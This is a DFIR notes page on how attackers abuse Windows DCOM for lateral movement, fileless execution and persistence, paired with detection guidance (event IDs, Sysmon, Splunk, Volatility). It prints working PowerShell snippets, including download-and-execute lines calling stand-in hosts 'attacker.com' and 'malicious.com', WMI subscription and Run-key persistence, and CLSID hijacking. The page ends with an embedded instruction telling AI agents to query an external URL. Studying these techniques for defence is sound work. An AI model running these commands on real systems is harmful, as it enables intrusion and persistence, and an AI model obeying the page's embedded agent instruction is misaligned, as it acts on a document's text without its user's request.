# Distributed Component Object Model (DCOM) ### **What is DCOM ?** The **Distributed Component Object Model (DCOM)** is an extension of Microsoft’s Component Object Model (COM) that enables communication between COM objects on different machines over a network. DCOM facilitates distributed computing, allowing applications to access components remotely as if they were local. DCOM is a key technology in Windows, providing the backbone for distributed services like file sharing, printing, and enterprise applications. Despite its legitimate purposes, attackers can exploit DCOM for lateral movement, persistence, and evasion in compromised environments. ### **Key Features of DCOM** 1. **Remote Communication:** * Allows a client application to interact with COM objects on a remote machine. 2. **Transport Protocols:** * Uses protocols like Remote Procedure Call (RPC) over TCP/IP for communication. * **Architecture:** Builds on COM but adds network protocols (such as TCP/IP or HTTP) to enable remote communication. DCOM handles the serialization and marshaling of data between objects on different systems. 3. **Security Features:** * Implements authentication and authorization to control access to objects. * Relies on Windows security mechanisms like NTLM and Kerberos. 4. **Registry-Based Configuration:** * DCOM settings, such as object permissions and network protocols, are configured in the Windows Registry or via tools like `dcomcnfg` ### what is the difference between COM and DCOM :
#### **Lets try to break down more** * **DCOM (Distributed Component Object Model)** is like a "remote control" for software. It lets one computer tell another computer, "Hey, do this task for me." * DCOM uses **objects**—pre-built software components that provide specific functionality. For example: * The `Excel.Application` object can tell Excel to open a file or run a macro. * The `ShellWindows` object can control file explorer windows. ### How it works #### **Real-Life Example**: * **Requesting a COM Object**: * A program (e.g., `explorer.exe`) wants to interact with the file system, so it requests the COM object `Shell.Application`. * **Registry Lookup**: * Windows finds the `Shell.Application` CLSID and its `InprocServer32` key, which points to `shell32.dll`. * **DLL Loaded**: * `shell32.dll` is loaded into `explorer.exe`'s memory. * **Object Created**: * Windows calls a function in `shell32.dll` to create the `Shell.Application` COM object. * The object is instantiated and returned to `explorer.exe`. * **Interaction**: * `explorer.exe` uses the object's methods (e.g., to open a folder, copy a file, etc.) ### **Tools and Techniques Used :** * **Living-off-the-land binaries (LOLBins):** * Attackers can abuse legitimate DCOM-enabled applications (e.g., MS Word, Excel) to execute payloads. * **PowerShell/WMIC:** * Example: Using `PowerShell` scripts or `WMIC` commands to invoke DCOM objects remotely. * **Penetration Testing Frameworks:** * **Cobalt Strike, Empire:** These frameworks include modules to abuse DCOM for lateral movement. * **Mimikatz/SharpCOM:** * These tools may be used to enumerate and exploit DCOM interfaces for credential harvesting or privilege escalation ### **When Would an Attacker Use DCOM Over Other Methods ?**
## Common Ways Attackers Abuse DCOM : ### **lets see first**
## **1. Lateral Movement** * Attackers can execute commands or launch applications on remote systems by abusing DCOM interfaces, such as invoking objects like `MMC20.Application`, `ShellWindows`, or `Excel.Application`. * **Example:** Using tools like `PowerShell` or frameworks like `Cobalt Strike`, attackers can execute remote code via DCOM objects. #### **Key Points for Using DCOM Post-Lateral Movement** 1. **Command Execution on the Target Without Direct Login** * Using DCOM, the attacker doesn’t need to log in interactively to the remote system (e.g., via RDP or SSH). * This minimizes the chance of triggering monitoring tools that flag direct logins or new session creation. #### **1. Abusing DCOM for Lateral Movement** #### **Example: Using Excel.Application DCOM Object** Commonly abused objects: * `MMC20.Application`: Executes management tasks. * `ShellWindows`: Interacts with file explorer and runs commands. Attackers can execute commands remotely by leveraging the `Excel.Application` DCOM object. Below is a step-by-step demonstration using PowerShell: ``` $com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", " IP TARGET_MACHINE")) $com.Visible = $true $com.ExecuteExcel4Macro("shell(\"cmd /c calc.exe\")") ``` **Explanation:** * The `Excel.Application` object is instantiated on the remote machine (`TARGET_MACHINE`). * A macro is executed to launch `calc.exe` on the target system. * This method can be replaced with a malicious payload instead of launching a calculator. **Here is the video explaining , How the attacker can do Lateral Movement via DCOM** {% embed url="" %} **Explanation**: **File Placement:** Copying malicious executables (`calc.exe`) to remote systems to later execute them. In this example, the renamed `foxprow.exe` could be executed remotely for malicious purposes. **remote COM Instantiation:** Activating COM objects like `Excel.Application` on a remote system via DCOM enables attackers to execute commands or scripts ### How to Detect Lateral Movement via DCOM #### **Indicators of Compromise (IoCs):** * Use of specific DCOM objects for remote execution (e.g., `MMC20.Application`, `Schedule.Service`, `Shell.Application`). * Connections from unusual or unauthorized machines. * Execution of commands on remote hosts without using typical administrative tools (e.g., `psexec`, `WinRM`). **Event Log Analysis** * **DCOM Events in the System Logs:** Look for suspicious DCOM activation events: * **Event ID 10000 (DistributedCOM)**: Indicates that a DCOM object was activated. * **Event ID 10006 (DistributedCOM)**: Indicates a failure to activate a DCOM object, which might show an attacker probing. * **Event ID 10028 (DistributedCOM)**: Indicates a remote activation attempt, which could signal lateral movement. **Example Query in Windows Event Viewer:**
```vbnet vbnetCopy codeEvent ID: 10000 Source: DistributedCOM Description: Activation of DCOM object {CLSID} from remote host X.X.X.X. ``` \ Monitor Sysmon logs for process creation on remote systems triggered by DCOM activity. **Relevant Sysmon Event IDs:** * **Sysmon Event ID 1**: Process creation. Look for processes created with remote DCOM-related parent processes. * **Sysmon Event ID 11**: File creation. Check for creation of unusual payloads or scripts. **Command and Execution Patterns** * Use PowerShell logs (Event IDs 4104 and 4103) to detect commands like:
```powershell powershellCopy code$instance = [Activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service", "target_ ``` **Network Traffic Monitoring** * Look for DCOM-related traffic on port **135** (RPC Endpoint Mapper) and high ephemeral ports (used by RPC/DCOM communication). * Unusual network traffic between endpoints, especially between systems that don’t typically interact. **Tools for Network Monitoring:** * Use **Wireshark** to capture and filter traffic for DCOM:
``` tcp.port == 135 ``` #### 3. Fileless Malware Using DCOM Attackers use DCOM objects to execute payloads directly in memory, bypassing disk-based antivirus tools.\ \ **Why Fileless ?** Nothing gets written to disk, so antivirus tools don’t see it **Example: ShellWindows DCOM Abuse** **Command:** ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("ShellWindows", "TARGET_MACHINE")) $com.Document.Application.ShellExecute("powershell.exe", "-c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')") ``` **Explanation:** * The `ShellWindows` DCOM object is abused to invoke PowerShell on the target machine. * The payload is downloaded and executed directly in memory, leaving minimal traces. #### **3.Malware Abusing DCOM** * **Case:** The Emotet malware family has used DCOM objects to propagate laterally in Windows environments. * **Technique:** It leveraged `Outlook.Application` and `Excel.Application` objects to execute malicious macros and distribute itself across systems ### **2. Remote Code Execution (RCE)** * Vulnerabilities in DCOM can allow attackers to execute arbitrary code on a target system remotely. For example: * CVE-2021-26414: A security bypass vulnerability in DCOM. * Attackers exploit these vulnerabilities to gain unauthorized access and execute malicious payloads. #### **Using WMIC for DCOM Remote Execution** **Example: Launching a Remote Process via WMIC** WMIC (Windows Management Instrumentation Command-line) can leverage DCOM for remote command execution. **Command:** ```cmd wmic /node:"TARGET_MACHINE" /user:"TARGET_USER" /password:"TARGET_PASS" process call create "cmd.exe /calc.exe" ``` **Explanation:** * The `wmic` command creates a new process (`cmd.exe`) on the remote machine using DCOM. * This method is often used to execute malicious payloads ### **How to Detect Remote Code Execution via DCOM** #### **Indicators of Compromise (IoCs):** * Invocation of COM objects remotely using CLSIDs. * Use of DCOM to execute commands like `cmd.exe` or `powershell.exe` on remote systems. * Use of methods like `ExecuteShellCommand` or `RegisterTaskDefinition` **Registry Analysis for Malicious COM Configurations** * Malicious modification of CLSIDs or AppIDs in the registry. Key locations to monitor: * `HKCR:\CLSID\{CLSID}` * `HKCR:\AppID\{AppID}` * `HKLM:\SOFTWARE\Classes\CLSID\{CLSID}` * Look for: * Malicious DLLs specified in `InprocServer32`. * Misconfigured or maliciously modified DCOM permissions.
* **Event Log Analysis** * **Event ID 13 (** Registry Event Value Set **)** : Indicates Registry value modifications. * **Event ID 12 (** Registry Event Object create and delete ) : Indicates key and value create and delete operations map to this event type * **Event ID** 4663 ( An attempt was made to access an object) .: Indicates a process attempt to acess a object could be a file or registry object or specific operation was performed on an object. The object could be a file system, kernel, or registry object, or a file system object * **Event ID 4688 (Process Creation):** Look for processes created remotely via DCOM. For example: * Command line: `cmd.exe /c calc.exe` or PowerShell scripts **Process Monitoring** * Look for suspicious processes spawned by DCOM-related parent processes. For example: * **Parent Process**: `dllhost.exe`, `mmc.exe`, or `wscript.exe`. * **Child Process**: `cmd.exe` or `powershell.exe` with unusual arguments.
* **Example splunk Query**:
```sql index=sysmon EventCode=1 ParentImage="*dllhost.exe" | search Image="*cmd.exe" OR Image="*powershell.exe" | table _time, ComputerName, User, ParentImage, CommandLine ```
## 3.**How Attackers Use DCOM for Persistence** Persistence refers to the ability of attackers to maintain access to a compromised system even after reboots or other remediation efforts. DCOM objects are powerful because they allow attackers to embed malicious actions into legitimate system components, making detection harder. #### **1. Scheduled Task Creation** Attackers can use the `Schedule.Service` COM object to create persistent tasks that run malicious scripts or executables at specific times or events (like system startup). This doesn't require direct use of tools like `schtasks.exe`, which might trigger alerts **Example:** ```powershell $instance = [Activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service")) $folder = $instance.GetFolder("\") $task = $folder.NewTask(0) $trigger = $task.Triggers.Create(1) # 1: At Logon Trigger $trigger.StartBoundary = (Get-Date).AddMinutes(1).ToString("yyyy-MM-ddTHH:mm:ss") $action = $task.Actions.Create(0) # 0: Execute an action $action.Path = "cmd.exe" $action.Arguments = "/c start powershell -Command 'Invoke-WebRequest -Uri http://malicious.com/payload.exe -OutFile payload.exe; ./payload.exe'" $folder.RegisterTaskDefinition("MaliciousTask", $task, 6, "", "", 3) ``` * **Persistence Mechanism:** The task will execute after a user logs in or based on a scheduled time. #### **Here a real scenario** In this scenario once the attacker has established a foothold on a machine that has Microsoft Office installed. First, develop a PowerShell script that initializes an instance of the **`Excel.Application object`**via DCOM and invokes the ***ActivateMicrosoftApp**()* method on the localhost. Then, create a scheduled task configured to run at specific intervals, which will execute the PowerShell script we created. Ultimately, ensure that *FOXPROW\.exe* is placed within the system *PATH* and wait for the scheduled task to execute ``` PS C:\Users\User\Desktop> cat .\ExcelPersistence.ps1 $com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost")) $com.ActivateMicrosoftApp("5") PS C:\Users\User\Desktop> copy C:\windows\system32\calc.exe C:\Users\user\AppData\Local\Microsoft\WindowsApps\foxprow.exe PS C:\Users\User\Desktop> schtasks /create /tn ExcelPersistence /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'C:\users\user\desktop\ExcelPersistence.ps1'" /sc onidle /i 5 PS C:\Users\User\Desktop> schtasks.exe /run /tn ExcelPersistence ```
**Explanation :** This script demonstrates a scenario where a user creates persistence using a malicious script executed through **Excel COM objects** and **Windows Task Scheduler**. Let’s break it down step by step. * **Initializing Excel COM Object by** creating an instance of the `Excel.Application` COM object. * **The `ActivateMicrosoftApp("5")` method :** activates an Excel-related application. Code `5` corresponds to Microsoft Word. * **Copying a Malicious File** : Copies `calc.exe` (a legitimate Windows Calculator application) to a new location but renames it to `foxprow.exe` * **Creating a Scheduled Task by** Creating a scheduled task named `ExcelPersistence then` The task runs PowerShell (`powershell.exe`) then The PowerShell script to execute is `ExcelPersistence.ps1`, located on the desktop then The task triggers after the system has been idle for **5 minutes** (`/sc onidle /i 5`). * **Running the Scheduled Task** #### **2. WMI and COM Persistence** Attackers use WMI (Windows Management Instrumentation) with COM objects to create **event subscriptions** that trigger malicious code execution when certain conditions are met. **Example:** Using a WMI event filter with COM: ```powershell powershellCopy code$WmiNamespace = "root\subscription" $EventFilter = [wmiclass]"$WmiNamespace:__EventFilter" $Filter = $EventFilter.CreateInstance() $Filter.Name = "PersistentEvent" $Filter.QueryLanguage = "WQL" $Filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'" $Filter.Put() $ActiveScript = [wmiclass]"$WmiNamespace:ActiveScriptEventConsumer" $Consumer = $ActiveScript.CreateInstance() $Consumer.Name = "MaliciousScript" $Consumer.ScriptingEngine = "VBScript" $Consumer.ScriptText = "CreateObject('Wscript.Shell').Run('cmd.exe /c calc.exe')" $Consumer.Put() $Binding = [wmiclass]"$WmiNamespace:__FilterToConsumerBinding" $Binding.InstanceId = "Binding1" $Binding.Filter = $Filter.Path $Binding.Consumer = $Consumer.Path $Binding.Put() ``` * **Persistence Mechanism:** The event will trigger whenever a process is created, and the malicious action will execute. #### **3. Registry Manipulation via COM** COM objects can be used to modify the Windows registry stealthily. Attackers may: * Add entries to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` or `HKLM\...\Run` for persistence. * **Example:** Using the `Windows.Management.Automation` COM object:
```powershell powershellCopy code$Shell = New-Object -ComObject "WScript.Shell" $RegKey = $Shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MaliciousEntry", "powershell.exe -ExecutionPolicy Bypass -File C:\malicious.ps1", "REG_SZ") ``` * **Persistence Mechanism:** The script will execute every time the user logs in. #### **4. Malicious DLL Loading via COM Objects** Attackers may configure COM objects to load malicious DLLs when invoked by legitimate applications. This is achieved by modifying the `AppID` or `CLSID` registry entries of a COM object. * **Example:** Modifying the CLSID registry to point to a malicious DLL:
```powershell powershellCopy codeSet-ItemProperty -Path "HKCR:\CLSID\{CLSID}\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll" ``` * **Persistence Mechanism:** The malicious DLL will be loaded every time the COM object is invoked #### **5. Startup Entries via DCOM Interfaces** Some DCOM interfaces, like `Shell.Application` or `WMI`, allow attackers to interact with the startup folder or processes indirectly. * **Example:** Using `Shell.Application` to copy a payload to the Startup folder:
```powershell powershellCopy code$Shell = New-Object -ComObject "Shell.Application" $Startup = $Shell.Namespace(0x7) # Startup folder $Startup.CopyHere("C:\malicious.exe") ``` * **Persistence Mechanism:** The executable will run every time the system starts ### How To Detect **persistence** using DCOM #### **Indicators of Compromise (IoCs):** 1. **Scheduled Task Creation**: Using COM objects such as `Schedule.Service` to register tasks persistently. 2. **Malicious CLSIDs or AppIDs**: Modified or newly added entries in the registry. 3. **Abuse of Known DCOM Objects**: * Objects like `Shell.Application`, `MMC20.Application`, or others being invoked for persistence **Monitor Scheduled Task Creation via DCOM** **Event Log Analysis** * Look for events indicating scheduled task creation: * **Event ID 4698 (Scheduled Task Created)**: Indicates a task was registered. * **Event ID 4700 (Scheduled Task Enabled)**: Indicates a task was enabled. * **Event ID 4701 (Scheduled Task Updated)**: Indicates a task was modified. * **Event ID 1 (Process Creation)** * Detect child processes spawned by DCOM host processes like `dllhost.exe` **Monitor DCOM Object Usage for Task Scheduler via Power shell** * Look for PowerShell Event Code 4104 and 4103 in order to find scripts that were used and tools such as wmic...... or scripts invoking `Schedule.Service` to create tasks. ] #### **Monitor Registry Modifications for DCOM Persistence** **Detect Changes in CLSID/AppID Entries** * **Registry Paths to Monitor:** * `HKCR:\CLSID\{GUID}\InprocServer32` * `HKCR:\AppID\{GUID}` * `HKCU:\Software\Classes\CLSID\{GUID}` * `HKLM:\Software\Classes\CLSID\{GUID}`
* **Registry Event IDs** * **Event ID 4657 (Registry Value Modified)** * **Event ID 13 (** Registry Event Value Set **)** : Indicates Registry value modifications. * **Event ID 12 (** Registry Event Object create and delete ) : Indicates key and value create and delete operations map to this event type * **Event ID** 4663 ( An attempt was made to access an object) : Indicates a process attempt to access a object could be a file or registry object * Event ID 4662 ( An operation was performed on an object ) : Indicates a operation was preformed on object could be file or registry ### **Key Indicators of DCOM Abuse in Memory** #### **Suspicious Processes Hosting COM Objects** DCOM-related abuse typically uses legitimate processes like: * `dllhost.exe` * `explorer.exe` * `svchost.exe` * `mmc.exe` **Memory Indicators:** * Abnormal child processes spawned by these host processes. * Loaded modules (DLLs) that are not usually associated with the process. * In-memory execution of malicious payloads (e.g., PowerShell scripts or encoded commands). **Analyze Loaded Modules**: * Look for suspicious DLLs in processes that host DCOM objects (`dllhost.exe`, etc.). * Malicious DLLs might not match their expected file path or might be unnamed. * **Common Indicators**: * Modules loaded from unusual locations (e.g., `%TEMP%` or `%APPDATA%`). * Modules with no digital signature. * Modules with abnormal names or GUIDs (linked to CLSIDs) #### **Detect In-Memory PowerShell or Shell Commands** Fileless malware using DCOM often executes PowerShell or shell commands in memory without writing to disk. **Detection Steps:** 1. **Analyze Command History**: * Check memory for encoded or obfuscated PowerShell commands. * Look for `/c` or `/k` arguments in shell commands. * Examine script block logs or execution traces in memory. 2. **Suspicious Commands**: * Commands starting with `powershell -EncodedCommand`. * Base64-encoded payloads or scripts. * Connections to remote hosts or downloading scripts. * **List Active COM Objects**: * Extract the list of CLSIDs registered to processes in memory. * Check for anomalous or unexpected CLSIDs. * **Look for Abused CLSIDs**: * `MMC20.Application` (for executing commands). * `Shell.Application` (for lateral movement or shell commands). * `Schedule.Service` (for task scheduling abuse) Use memory analysis tools to detect signs of DCOM abuse in memory: **Tools and Techniques:** **Volatility3 Framework**: 1.**List DLLs Loaded by Processes**: * Plugin: `dlllist` – List DLLs loaded in suspicious processes. * Plugin: `cmdscan` or `consoles` – Find in-memory shell commands. * Plugin: `handles` – Check for COM object handles (`CLSID`) or abnormal RPC handles. Example: Detect abnormal DLLs in `dllhost.exe`:
```bash vol.py -f memory.dmp windows.dlllist | grep dllhost.exe ``` Focus on processes like: * `dllhost.exe` * `explorer.exe` * `svchost.exe` * `mmc.exe` #### **Why These Processes?** These processes are often targeted because: 1. **Legitimacy**: These are legitimate, trusted Windows processes, reducing the likelihood of raising immediate suspicion. 2. **COM and DCOM Interactions**: They are heavily involved in the operation of COM objects, making them attractive for DCOM abuse 3. Those processes (`dllhost.exe`, `explorer.exe`, `svchost.exe`, and `mmc.exe`) **host and interact with COM and DCOM objects** 2. **Search for Handles Linked to CLSIDs**: * Use the `handles` plugin to look for `Type: Key` entries related to CLSIDs. ```bash vol.py-f memory.dmp windows.handles ``` * Look for COM-related handles in processes known to abuse DCOM (e.g., `dllhost.exe` or `mmc.exe`). 3. Detect in-memory PowerShell scripts:
```bash vol.py -f memory.dmp windows.cmdscan ``` **4. Inspect CLSIDs in Memory**: * Use the `strings` command to search for CLSIDs directly in memory. ```bash strings memory.dmp | grep -i "{CLSID}" ``` * Replace `{CLSID}` with specific CLSIDs like: * `{F971F7A7-530D-4D59-9F98-7E0092ECA3C5}` (`Shell.Application`) * `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}` (`Schedule.Service`) * `{DAB807E5-6D8C-4A8C-907D-49A0E6B1EFC3}` (Remote COM for tasks). 5. **Extract CLSID References in Processes**: * Use Volatility's `procdump` plugin to dump memory of processes like `dllhost.exe` or `mmc.exe`.
```bash vol.py -f memory.dmp --profile= procdump -p -D output/ ``` * Analyze the dumped memory for strings containing CLSIDs using:
```bash bashCopy codestrings output/.dmp | grep -i "{" ``` * **Look for Specific Abused CLSIDs**: * Search for known abusive CLSIDs in memory dumps: * `{F971F7A7-530D-4D59-9F98-7E0092ECA3C5}` – `Shell.Application` (lateral movement). * `{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}` – `Schedule.Service` (task scheduling). * `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` – WMI-related COM --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://mahmoud-shaker.gitbook.io/dfir-notes/distributed-component-object-model-dcom.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.